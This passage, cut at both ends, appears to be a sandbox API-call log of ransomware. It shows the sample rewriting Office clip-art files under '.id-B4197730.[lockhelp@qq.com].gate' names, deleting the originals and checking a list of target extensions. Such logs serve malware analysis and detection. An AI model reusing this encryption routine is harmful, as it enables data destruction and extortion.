lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=32184) returned 1 [0317.334] CloseHandle (hObject=0x554) returned 1 [0317.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 0x220 [0317.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0317.335] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.335] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.335] GetLastError () returned 0x0 [0317.336] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0317.410] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0317.411] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.411] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.411] SetEndOfFile (hFile=0x50c) returned 1 [0317.411] CloseHandle (hObject=0x50c) returned 1 [0317.411] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.411] SetEndOfFile (hFile=0x554) returned 1 [0317.414] CloseHandle (hObject=0x554) returned 1 [0317.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.414] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp")) returned 1 [0317.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0317.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0317.415] lstrlenW (lpString=".doc") returned 4 [0317.415] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0317.415] lstrlenW (lpString=".docx") returned 5 [0317.415] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0317.415] lstrlenW (lpString=".pdf") returned 4 [0317.415] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0317.415] lstrlenW (lpString=".xls") returned 4 [0317.415] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0317.415] lstrlenW (lpString=".xlsx") returned 5 [0317.415] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0317.415] lstrlenW (lpString=".ppt") returned 4 [0317.415] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0317.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0317.415] lstrlenW (lpString=".zip") returned 4 [0317.415] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0317.415] lstrlenW (lpString=".rar") returned 4 [0317.415] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0317.415] lstrlenW (lpString=".bz2") returned 4 [0317.415] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0317.416] lstrlenW (lpString=".7z") returned 3 [0317.416] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0317.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0317.416] lstrlenW (lpString=".dbf") returned 4 [0317.416] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0317.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0317.416] lstrlenW (lpString=".1cd") returned 4 [0317.416] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0317.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP") returned 68 [0317.416] lstrlenW (lpString=".jpg") returned 4 [0317.416] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0317.417] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=15988) returned 1 [0317.417] CloseHandle (hObject=0x554) returned 1 [0317.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0317.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0317.418] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.418] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0317.418] GetLastError () returned 0x0 [0317.418] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0317.476] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0317.477] ReadFile (in: hFile=0x554, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.477] WriteFile (in: hFile=0x50c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.477] SetEndOfFile (hFile=0x50c) returned 1 [0317.477] CloseHandle (hObject=0x50c) returned 1 [0317.477] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.477] SetEndOfFile (hFile=0x554) returned 1 [0317.480] CloseHandle (hObject=0x554) returned 1 [0317.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0317.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0317.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0317.481] lstrlenW (lpString=".doc") returned 4 [0317.481] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString=".docx") returned 5 [0317.481] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0317.481] lstrlenW (lpString=".pdf") returned 4 [0317.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString=".xls") returned 4 [0317.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.481] lstrlenW (lpString=".xlsx") returned 5 [0317.481] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0317.481] lstrlenW (lpString=".ppt") returned 4 [0317.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0317.481] lstrlenW (lpString=".zip") returned 4 [0317.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.481] lstrlenW (lpString=".rar") returned 4 [0317.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString=".bz2") returned 4 [0317.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString=".7z") returned 3 [0317.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0317.481] lstrlenW (lpString=".dbf") returned 4 [0317.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0317.481] lstrlenW (lpString=".1cd") returned 4 [0317.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0317.481] lstrlenW (lpString=".jpg") returned 4 [0317.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.482] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=17040) returned 1 [0317.482] CloseHandle (hObject=0x554) returned 1 [0317.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 0x220 [0317.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0317.640] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.640] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0317.641] GetLastError () returned 0x0 [0317.641] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x4290, lpOverlapped=0x0) returned 1 [0317.849] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x42a0, lpOverlapped=0x0) returned 1 [0317.850] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.850] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.851] SetEndOfFile (hFile=0x49c) returned 1 [0317.851] CloseHandle (hObject=0x49c) returned 1 [0317.851] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.851] SetEndOfFile (hFile=0x374) returned 1 [0317.853] CloseHandle (hObject=0x374) returned 1 [0317.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102984.wmf")) returned 1 [0317.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0317.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0317.854] lstrlenW (lpString=".doc") returned 4 [0317.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.854] lstrlenW (lpString=".docx") returned 5 [0317.854] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0317.854] lstrlenW (lpString=".pdf") returned 4 [0317.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.854] lstrlenW (lpString=".xls") returned 4 [0317.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.854] lstrlenW (lpString=".xlsx") returned 5 [0317.854] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0317.854] lstrlenW (lpString=".ppt") returned 4 [0317.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0317.854] lstrlenW (lpString=".zip") returned 4 [0317.855] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.855] lstrlenW (lpString=".rar") returned 4 [0317.855] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.855] lstrlenW (lpString=".bz2") returned 4 [0317.855] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.855] lstrlenW (lpString=".7z") returned 3 [0317.855] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0317.855] lstrlenW (lpString=".dbf") returned 4 [0317.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0317.855] lstrlenW (lpString=".1cd") returned 4 [0317.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102984.WMF") returned 68 [0317.855] lstrlenW (lpString=".jpg") returned 4 [0317.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.855] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5908) returned 1 [0317.855] CloseHandle (hObject=0x374) returned 1 [0317.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 0x220 [0317.856] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0317.856] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.856] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0317.857] GetLastError () returned 0x0 [0317.857] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1714, lpOverlapped=0x0) returned 1 [0317.913] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1720, lpOverlapped=0x0) returned 1 [0317.914] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.914] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.914] SetEndOfFile (hFile=0x49c) returned 1 [0317.914] CloseHandle (hObject=0x49c) returned 1 [0317.914] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.914] SetEndOfFile (hFile=0x374) returned 1 [0317.919] CloseHandle (hObject=0x374) returned 1 [0317.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0317.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0317.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0317.920] lstrlenW (lpString=".doc") returned 4 [0317.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0317.920] lstrlenW (lpString=".docx") returned 5 [0317.920] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0317.920] lstrlenW (lpString=".pdf") returned 4 [0317.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0317.920] lstrlenW (lpString=".xls") returned 4 [0317.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0317.920] lstrlenW (lpString=".xlsx") returned 5 [0317.920] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0317.920] lstrlenW (lpString=".ppt") returned 4 [0317.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0317.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0317.920] lstrlenW (lpString=".zip") returned 4 [0317.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0317.920] lstrlenW (lpString=".rar") returned 4 [0317.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0317.921] lstrlenW (lpString=".bz2") returned 4 [0317.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0317.921] lstrlenW (lpString=".7z") returned 3 [0317.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0317.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0317.921] lstrlenW (lpString=".dbf") returned 4 [0317.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0317.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0317.921] lstrlenW (lpString=".1cd") returned 4 [0317.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0317.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0317.921] lstrlenW (lpString=".jpg") returned 4 [0317.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0317.922] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=23596) returned 1 [0317.922] CloseHandle (hObject=0x374) returned 1 [0317.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf")) returned 0x220 [0317.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0317.923] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.923] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0317.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103850.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103850.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c [0317.923] GetLastError () returned 0x0 [0317.923] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x5c2c, lpOverlapped=0x0) returned 1 [0317.940] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x5c30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x5c30, lpOverlapped=0x0) returned 1 [0317.941] ReadFile (in: hFile=0x374, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0317.941] WriteFile (in: hFile=0x49c, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0317.941] SetEndOfFile (hFile=0x49c) returned 1 [0317.941] CloseHandle (hObject=0x49c) returned 1 [0317.941] SetFilePointerEx (in: hFile=0x374, 